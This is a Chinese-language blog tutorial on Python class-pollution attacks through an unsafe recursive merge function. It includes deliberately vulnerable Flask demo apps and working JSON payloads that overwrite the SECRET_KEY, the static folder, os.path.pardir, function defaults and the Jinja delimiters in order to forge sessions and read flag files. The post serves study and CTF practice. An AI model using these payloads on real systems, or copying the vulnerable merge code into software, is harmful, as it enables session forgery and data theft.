February 26, 2024

Python原型链污染

概要

python原型链污染和js的差不多,后者是通过键值对的方式来控制object的prototype的属性方法,而前者则是是能污染类的属性

这里对应的merge函数就是python中对属性值控制的一个操作,将源参数赋值到目标参数。

然后对src中的键值对进行了遍历,然后检查dst中是否含有__getitem__属性,以此来判断dst是否为字典。如果存在的话,检测dst中是否存在属性k且value是否是一个字典,如果是的话,就继续嵌套merge对内部的字典再进行遍历,将对应的每个键值对都取出来。如果不存在的话就将src中的value的值赋值给dst对应的key的值。

如果dst不含有getitem属性的话,那就说明dst不是一个字典,就直接检测dst中是否存在k的属性,并检测该属性值是否为字典,如果是的话就再通过merge函数进行遍历,将k作为dst,v作为src,继续取出v里面的键值对进行遍历。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class Admin:
def __init__(self):
self.id = 'root'

class Usr1(Admin):
pass

class Usr2(Admin):
pass

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

ins = Usr2()
payload = {
"__class__": {
"__base__": {
"id" : "no_root"
}
}
}

print(Usr1().id) # 输出: root
print(ins.id) # 输出: root

merge(payload, ins)

# 打印结果,只有 ins 的 id 受影响
print(Usr1().id) # 输出: root
print(ins.id) # 输出: no_root

注意,这里要是直接

1
2
3
4
5
6
class Admin();
id = 'root'

……

print(Usr1().id) # no_root

注意我们可以污染实例,但是没办法污染对象 object

比如 merge(payload, usr1)会报错

一些类的知识

详情可以去看pyjail里面的属性

获取目标类:

上面示例我们是通过__base__属性查找到继承的父类,然后污染到的父类中的secret参数,但是如果目标类与切入点没有父子类继承关系,那我们就无法用__base__属性来进行对目标类的获取和污染

获取全局变量:

在函数或类方法中,我们经常会看到__init__初始化方法,但是它作为类的一个内置方法,在没有被重写作为函数的时候,其数据类型会被当做装饰器,而装饰器的特点就是都具有一个全局属性__globals__属性,__globals__ 属性是函数对象的一个属性,用于访问该函数所在模块的全局命名空间。具体来说就是,__globals__ 属性返回一个字典,里面包含了函数定义时所在模块的全局变量。

1
2
3
4
5
6
7
8
9
10
11
12
secrets = '9dufh'

def gettttt():
pass

class NO:
def __init__(self):
pass

print(gettttt.__globals__ == globals() == NO.__init__.__globals__)

# True

在 Python 中,函数名本身(例如 gettttt)表示的是一个函数对象。只有在加上括号 () 时,才会调用这个函数。

因此,当你写 gettttt.__globals__ 时,你是在访问 gettttt 函数对象的 __globals__ 属性,而不是调用 gettttt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from doctest import script_from_examples

secrets = '9dufh'

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def gettttt():
pass

class NO:
def __init__(self):
pass

class NO_secret:
no = 'no_secret'
# print(gettttt.__globals__ == globals() == NO.__init__.__globals__)
# True

ins = NO()
payload = {
"__init__" : {
"__globals__" : {
"secrets" : 'I got it!!1',
"NO_secret" : {
"no" : "dont say no!!"
}
}
}
}

print(NO_secret.no)
print(secrets)

merge(payload, ins)

print(NO_secret.no)
print(secrets)

import加载获取:

在简单的关系情况下,我们可以直接通过import来进行加载,在payload中我们只需要对对应的模块重新定位就可以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import demo
payload = {
"__init__":{
"__globals__":{
"demo":{
"a":4,
"B":{
"classa":5
}
}
}
}
}
##demo.py
a = 1
class B:
classa = 2

sys模块加载获取:

在很多环境当中,会引用第三方模块或者是内置模块,而不是简单的import同级文件下面的目录,所以我们就要借助sys模块中的module属性,这个属性能够加载出来在自运行开始所有已加载的模块,从而我们能够从属性中获取到我们想要污染的目标模块:

同样是刚才的情景,因为我们已经加载过demo.py了,所以我们用sys来对里面的目标进行获取,但是存在一个问题就是,我们的payload传参的时候大概率是在它源码已有的基础上进行传参,很有可能源码中没有引入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import sys
payload = {
"__init__":{
"__globals__":{
"sys":{
"modules":{
"demo":{
"a":4,
"B":{
"classa":5
}
}
}
}
}
}
}

加载器loader获取:

loader加载器在python中的作用是为实现模块加载而设计的类,其在importlib这一内置模块中有具体实现。而importlib模块下所有的py文件中均引入了sys模块,这样我们和上面的sys模块获取已加载模块就联系起来了,所以我们的目标就变成了只要获取了加载器loader,我们就可以通过loader.__init__.__globals__['sys']来获取到sys模块,然后再获取到我们想要的模块。

那么我们现在的目标就变成了获取loader:

在Python中,__loader__是一个内置的属性,包含了加载模块的loader对象,Loader对象负责创建模块对象,通过__loader__属性,我们可以获取到加载特定模块的loader对象。

1
2
3
4
5
import math
# 获取模块的loader
loader = math.__loader__
# 打印loader信息
print(loader)

在这个例子当中我们就能够明白,math模块的__loader__属性包含了一个loader对象,负责加载math模块

在python中还存在一个__spec__,包含了关于类加载时候的信息,他定义在Lib/importlib/_bootstrap.py的类ModuleSpec,所以可以直接采用<模块名>.__spec__.__init__.__globals__['sys']获取到sys模块

函数形参默认值替换:

在Python中,__defaults__是一个元组,用于存储函数或方法的默认参数值。当我们去定义一个函数时,可以为其中的参数指定默认值。这些默认值会被存储在__defaults__元组中。

1
2
3
4
def a(var_1, var_2 =2, var_3 = 3):
pass
print(a.__defaults__)
#(2, 3)

所以我们就可以通过替换该属性,来实现对函数位置或者是键值默认值替换,但是前提条件是我们要替换的值是元组的形式:`

1
2
3
4
5
6
7
8
9
payload = {
"__init__" : {
"__globals__" : {
"demo" : {
"__defaults__" : (True,)
}
}
}
}

__kwdefaults__是以字典形式来进行收录:

1
2
3
4
5
6
7
8
9
10
11
payload = {
"__init__" : {
"__globals__" : {
"demo" : {
"__kwdefaults__" : {
"shell" : True
}
}
}
}
}

关键信息替换:

flask密钥替换:

如果我们可以对密钥进行替换,赋值为我们想要的,我们就可以进行任意的session伪造,这里因为secret_key是在当前入口文件下面的,所以我们可以直接通过__init__.__globals__获取全局变量,然后通过app.config[“SECRET_KEY”]来进行污染:下面用一下师傅的示范的板子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "[+]Config:%s"%(app.config['SECRET_KEY'])

app.run(host="0.0.0.0")

这里我们并无法确定secretkey是什么,所以如果能够污染我们就可以实现任意的session伪造

1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"Polluted~"
}
}
}
}
}

_got_first_request:

用于判定是否某次请求为自Flask启动后第一次请求,是Flask.got_first_request函数的返回值,此外还会影响装饰器app.before_first_request的调用,而_got_first_request值为假时才会调用:

所以如果我们想调用第一次访问前的请求,还想要在后续请求中进行使用的话,我们就需要将_got_first_request从true改成false然后就能够在后续访问的过程中,仍然能够调用装饰器app.before_first_request下面的可用信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

flag = "Is flag here?"

@app.before_first_request
def init():
global flag
if hasattr(app, "special") and app.special == "U_Polluted_It":
flag = open("flag", "rt").read()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
global flag
setattr(app, "special", "U_Polluted_It")
return flag

app.run(host="0.0.0.0")
payload={
"__init__":{
"__globals__":{
"app":{
"_got_first_request":False
}
}
}
}

_static_url_path:

当python指定了static静态目录以后,我们再进行访问就会定向到static文件夹下面的对应文件而不会存在目录穿梭的漏洞,但是如果我们想要访问其他文件下面的敏感信息,我们就需要污染这个静态目录,让他自动帮我们实现定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#static/index.html

<html>
<h1>hello</h1>
<body>
</body>
</html>
@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but heres only static/index.html"
payload={
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}

os.path.pardir:

套一下师傅的示例脚本来学习一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#app.py

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but heres only static/index.html"


app.run(host="0.0.0.0")

我们进行目录穿梭进行访问发现报了500的错误:这个地方就是模板渲染的时候,防止目录穿梭进行的一个操作,而我们的os.path.pardir恰好是我们的..所以会进行报错,所以我们如果把这个地方进行修改为除..外的任意值,我们就可以进行目录穿梭了。

1
2
3
4
5
6
7
8
9
10
11
payload={
"__init__":{
"__globals__":{
"os":{
"path":{
"pardir":","
}
}
}
}
}

Jinja语法标识符:

我们在学习SSTI的时候,语法标识符\{\{\}\}是解析jinja语法重要的一个东西,那么我们能不能对这个东西进行修改呢:在Jinja的文档中,提到了对Jinja环境类的相关属性问题,文档中提到说,如果此类的实例未共享并且尚未加载模板的话,我们就可以修改此类的实例

image-20241020144210517

而师傅在文章中又提到了对Flask底层的一个研究,就是在Flask中使用的Flask类的装饰器以后,jinja_env方法实现了上述的功能点:

我们跟进下create_jinja_environment()函数,发现jinja_env方法返回值就是Jinja中的环境类:jinja_environment = Environment,所以我们可以直接采用类似Flask.jinja_env.variable_start_string = "xxx"来实现对Jinja语法标识符进行替换

1
2
3
4
5
6
7
#templates/index.html

<html>
<h1>Look this -> [[flag]] <- try to make it become the real flag</h1>
<body>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#app.py

from flask import Flask,request,render_template
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "go check /index before merge it"


@app.route('/index',methods=['POST', 'GET'])
def templates():
return render_template("test.html", flag = open("flag", "rt").read())

app.run(host="0.0.0.0")
我们想要通过{{flag}}的话,就需要将语法标识符进行替换,这里我们就将语法标识符从{{}},替换为[[]]这样的话,[[flag]]就能够像{{flag}}一样被解析了。
1
2
3
4
5
6
7
8
9
10
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "[[","variable_end_string":"]]"
}
}
}
}

注意:

但是在Flask框架当中,他会对模板文件编译后进行一定的缓存,下次再需要渲染的时候,直接使用缓存里面的模板文件,这样的话我们修改后语法标识符里面的flag变量并没有被放到缓存当中,所以没有自动填充flag,所以我们需要在Flask启动以后先输入payload再访问路由,这样就可以做到先污染再访问模板

About this Post

This post is written by void2eye, licensed under CC BY-NC 4.0.

#Web